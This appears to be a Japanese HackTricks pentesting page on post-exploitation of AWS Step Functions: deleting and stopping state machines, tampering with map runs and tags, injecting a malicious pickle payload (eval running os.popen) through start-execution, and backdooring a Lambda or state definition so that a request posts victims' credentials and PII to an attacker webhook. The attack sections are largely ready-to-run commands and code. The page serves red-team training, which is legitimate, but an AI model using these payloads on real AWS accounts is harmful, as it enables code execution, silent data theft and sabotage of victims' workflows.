AWS - Step Functions Post Exploitation

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする

Step Functions

For more information about this AWS service, check:

AWS - Step Functions Enum

states:RevealSecrets

この権限により、実行内のシークレットデータを表示することができます。
そのためには、Inspection level を TRACE に設定し、revealSecrets パラメータを true にする必要があります。

states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias

これらの権限を持つ攻撃者は、ステートマシン、そのバージョン、およびエイリアスを永久に削除できる可能性があります。これは重要なワークフローを妨げ、データ損失を引き起こし、影響を受けたステートマシンの復旧と復元に多大な時間を要することがあります。さらに、攻撃者は使用された痕跡を隠蔽したり、フォレンジック調査を妨害したり、重要な自動化プロセスや状態設定を削除して運用を麻痺させる可能性もあります。

Note

  • ステートマシンを削除すると、その関連するすべてのバージョンとエイリアスも削除されます。
  • ステートマシンのエイリアスを削除しても、そのエイリアスを参照しているステートマシンのバージョンは削除されません。
  • 1つ以上のエイリアスから現在参照されているステートマシンのバージョンを削除することはできません。
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
  • Potential Impact: 重要なワークフローの中断、データ損失、運用停止。

states:UpdateMapRun

この権限を持つ攻撃者は、Map Run の失敗設定や並列設定を操作でき、許可される子ワークフロー実行の最大数を増減させてサービスのパフォーマンスに直接影響を与える可能性があります。さらに、許容される失敗割合や件数を改ざんしてこれを0に下げることで、アイテムが1件でも失敗した場合にマップラン全体が失敗するようにでき、ステートマシンの実行に直接影響を及ぼし、重要なワークフローを妨害する可能性があります。

aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
  • 潜在的影響: パフォーマンスの低下、および重要なワークフローの中断。

states:StopExecution

この権限を持つ攻撃者は、任意のステートマシンの実行を停止でき、進行中のワークフローやプロセスを妨害する可能性があります。これにより、トランザクションの未完了、業務の停止、データの破損が発生する恐れがあります。

Warning

このアクションは express state machines ではサポートされていません。

aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
  • 想定される影響: 実行中のワークフローの中断、業務のダウンタイム、およびデータの破損の可能性。

states:TagResource, states:UntagResource

攻撃者は Step Functions リソースのタグを追加、変更、または削除することで、組織のコスト配分、リソース追跡、およびタグに基づくアクセス制御ポリシーを混乱させる可能性があります。

aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>

潜在的な影響: コスト配分、リソース追跡、タグベースのアクセス制御ポリシーの混乱。


states:StartExecution -> Input Injection Into Dangerous Sinks

states:StartExecution はデータプレーンのエントリーポイントです。ステートマシンが攻撃者制御の入力を危険なシンクを含むタスクに渡す場合(例えば pickle.loads(base64.b64decode(payload_b64)) を実行する Lambda)、ステートマシンを更新する権限がなくても、実行の出力を介して StartExecutioncode executionsecret exfiltration に変換できることがあります。

Discover the workflow and the invoked Lambda

もし states:List* / states:Describe* を持っていれば、ステートマシンの定義を列挙して読み取ることができます:

REGION=us-east-1
SM_ARN="<state_machine_arn>"

aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text

もし lambda:GetFunction の権限もある場合、Lambda のコードバンドルをダウンロードして、入力がどのように処理されるか(および unsafe deserialization が存在するかどうか)を確認できます:

LAMBDA_ARN="<lambda_arn_from_definition>"
CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)"
curl -sSL "$CODE_URL" -o /tmp/lambda.zip
unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null
ls -la /tmp/lambda_code

例: 実行入力に含まれる crafted pickle (Python)

もし Lambda が攻撃者が制御するデータを unpickle する場合、悪意のある pickle は deserialization 中にコードを実行できます。Lambda ランタイムで Python 式を評価する例の payload:

PAYLOAD_B64="$(python3 - <<'PY'
import base64, pickle

class P:
def __reduce__(self):
# Replace with a safe proof (e.g. "1+1") or a target-specific read.
return (eval, ("__import__('os').popen('id').read()",))

print(base64.b64encode(pickle.dumps(P())).decode())
PY
)"

EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)"
aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text

影響: task role が持つ権限(Secrets Manager reads, S3 writes, KMS decrypt, etc.)は、細工された入力によって到達可能になり、その結果が Step Functions execution output に返される可能性があります。

states:UpdateStateMachine, lambda:UpdateFunctionCode

次の権限を持つユーザーまたはロールを侵害した攻撃者は:

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}

…は、Lambda backdooring と Step Function logic manipulation を組み合わせることで、high-impact and stealthy post-exploitation attackを実行できます。

このシナリオは、被害者が AWS Step Functions to orchestrate workflows that process sensitive input を使用しており、credentials、tokens、またはPIIのような機密入力を処理するワークフローをオーケストレーションしていることを前提とします。

被害者の呼び出し例:

aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim

If the Step Function is configured to invoke a Lambda like LegitBusinessLogic, the attacker can proceed with 2つのステルス攻撃バリアント:


Lambda 関数を更新

攻撃者は、Step Function で既に使用されている Lambda 関数(LegitBusinessLogic)のコードを変更し、入力データを密かに exfiltrate する。

# send_to_attacker.py
import requests

def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py

aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker

Step Function に悪意のあるステートを追加する

代わりに、攻撃者は Step Function の定義を更新して、ワークフローの先頭に exfiltration state を挿入できます。

{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}

aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker

攻撃者はさらにステルスにステート定義を次のように更新できる: { “Comment”: “Backdoored for Exfiltration”, “StartAt”: “ExfiltrateSecrets”, “States”: { “ExfiltrateSecrets”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker”, “InputPath”: “$”, “ResultPath”: “$.exfil”, “Next”: “OriginalState” }, “OriginalState”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic”, “End”: true } } } 被害者はこの違いに気付かないだろう。


被害者のセットアップ(エクスプロイトのコンテキスト)

  • A Step Function (LegitStateMachine) は機密性の高いユーザー入力を処理するために使用されている。
  • これが LegitBusinessLogic のような1つまたは複数の Lambda functions を呼び出す。

潜在的な影響:

  • secrets、credentials、API keys、PII を含む機密データのsilent exfiltration。
  • ワークフローの実行には目に見えるエラーや失敗が発生しない。
  • Lambda のコードや実行トレースを監査しない限り検出は困難。
  • バックドアがコードや ASL logic に残っている場合、長期的な persistence を可能にする。

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする